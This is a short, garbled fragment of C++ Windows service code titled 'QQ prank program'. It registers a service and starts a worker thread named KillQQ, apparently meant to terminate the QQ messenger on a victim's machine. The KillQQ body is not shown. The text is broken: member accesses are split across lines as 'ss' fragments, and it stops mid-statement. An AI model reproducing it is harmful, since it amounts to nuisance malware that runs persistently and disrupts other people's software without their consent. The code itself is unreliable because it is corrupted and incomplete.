QQ 恶搞程序 ss
dwServiceType = SERVICE_WIN32; ss
dwCurrentState = SERVICE_START_PENDING; ss
dwControlsAccepted = SERVICE_ACCEPT_STOP│ SERVICE_ACCEPT_PAUSE_CONTINUE; ss
dwServiceSpecificExitCode = 0; ss
dwWin32ExitCode = 0; ss
dwCheckPoint = 0; ss
dwWaitHint = 0; ssh=RegisterServiceCtrlHandler("Service",Handler); ss
dwCurrentState = SERVICE_RUNNING; ss
dwCheckPoint = 0; ss
dwWaitHint = 0; SetServiceStatus(ssh,&ss); AfxBeginThread(KillQQ,NULL,NULL); //开始一个工作线程实现程序功能 ss
dwCurrentState = SERVICE_RUNNING; ss
dwCheckPoint = 0; ss
dwWaitHint = 0; SetServiceStatus(ssh,&ss); } //处理服务要求 void WINAPI Handler(DWORD Opcode) { switch(Opcode) { case SERVICE_CONTROL_STOP: ss
dwCurrentState =SERVICE_STOPPED; SetServiceStatus (ssh,&ss); break; case SERVICE_CONTROL_CONTINUE: ss
dwCurrentState = SERVICE_RUNNING; S